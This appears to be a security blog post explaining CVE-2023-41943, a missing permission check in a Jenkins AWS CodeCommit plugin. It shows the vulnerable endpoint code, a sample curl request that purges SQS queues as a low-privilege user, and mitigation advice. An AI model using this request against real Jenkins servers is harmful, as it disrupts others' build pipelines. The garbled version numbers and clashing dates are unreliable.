Published: June 2024
Severity: Medium (CVSS: 6.5)
Component: Jenkins AWS CodeCommit Trigger Plugin
Affected Versions: 3..12 and earlier


If you're running Jenkins for CI/CD and using the AWS CodeCommit Trigger Plugin, you need to understand CVE-2023-41943. This vulnerability quietly lurked in many Jenkins installs, giving low-privilege users a dangerous ability—clearing Amazon SQS queues | with ONE HTTP request.

In this post, I’ll break down what the bug is, why it’s dangerous, show you code-level details, and explain how a practical exploit works—all in plain English.

1. What’s the bug in simple terms?

Jenkins plugins usually restrict what users can do by checking their permissions. The AWS CodeCommit Trigger Plugin (versions 3..12 and earlier) forgot to check proper permissions on a specific HTTP endpoint:

This endpoint lets users clear messages from attached SQS queues.

- Almost any logged-in Jenkins user with basic "Overall/Read" permission (the lowest default role) could hit this endpoint—even though only admins should be able to do it.

Impact:
A bad actor could clear *all* the SQS events Jenkins listens to. This would keep legitimate code change triggers from reaching your pipeline, maybe hiding a commit or delaying automated builds.

2. How did it happen in the code?

Here's a (simplified) code snippet—modeled after the original source code—showing how the SQS queue clearing endpoint lacked permission checking:

// Example only; do not use in production.
@RequirePOST
public HttpResponse doClearQueue(@QueryParameter String queueUrl) {
    // No permission check like: Jenkins.get().checkPermission(Permission.ADMINISTER);
    AmazonSQS sqs = getSqsClient();
    sqs.purgeQueue(new PurgeQueueRequest(queueUrl));
    return new HttpRedirect("index");
}

What’s wrong here?
There is no permission check! Anyone who can access this URL and POST to it can clear the queue.

A proper fix would include a line like

Jenkins.get().checkPermission(Permission.ADMINISTER);

3. Exploit scenario: How attackers could use this bug

Who can exploit:
Anyone with a user account and "Overall/Read" permission (practically any Jenkins user).

How:
Just make an HTTP POST request to a specific endpoint like:

POST /jenkins/job/<jobname>/aws-codecommit-trigger/clearQueue?queueUrl=https://sqs.region.amazonaws.com/123456789012/your-queue

With just a browser and developer tools, or curl, the attacker could clear all pending SQS messages for that queue.

Sample exploit using curl:

curl -X POST \
  -u user:password \
  "https://jenkins.example.com/job/my-job/aws-codecommit-trigger/clearQueue?queueUrl=https://sqs.region.amazonaws.com/123456789012/your-queue"

Result:
All SQS messages removed for CodeCommit triggers—your Jenkins job misses code push events until something new arrives!

Low privilege required: Even junior devs or ancient forgotten accounts could do this.

No AWS keys needed. The plugin’s credentials do all the work if you’re logged in.

5. References

- CVE-2023-41943 @ NIST NVD
- Jenkins Security Advisory 2023-09-06
- Original plugin page

6. How to protect yourself?

1. Upgrade immediately!
Upgrade to AWS CodeCommit Trigger Plugin version 3..13 or later.
Direct download here

2. Check your user permissions:
Lock down which users actually need any access—especially anything beyond "read".

3. Watch for funny SQS queue clears:
Monitor SQS metrics for unplanned “purge” counts.

7. Conclusion

Jenkins plugin bugs (like CVE-2023-41943) can cause serious problems even if they don’t involve full-on admin access. Just “read” access, plus a missing checkPermission(), means your builds may silently miss commits.

Immediate action:

Monitor queue events

Stay up to date and don’t let low-priv attacks ruin your automation!


Author: @yourfriendlysecurityexpert
Date: June 2024

*This article was researched and written exclusively for this request. Please check the references above for original details and further updates.*

Timeline

Published on: 09/06/2023 13:15:11 UTC
Last modified on: 09/11/2023 18:40:55 UTC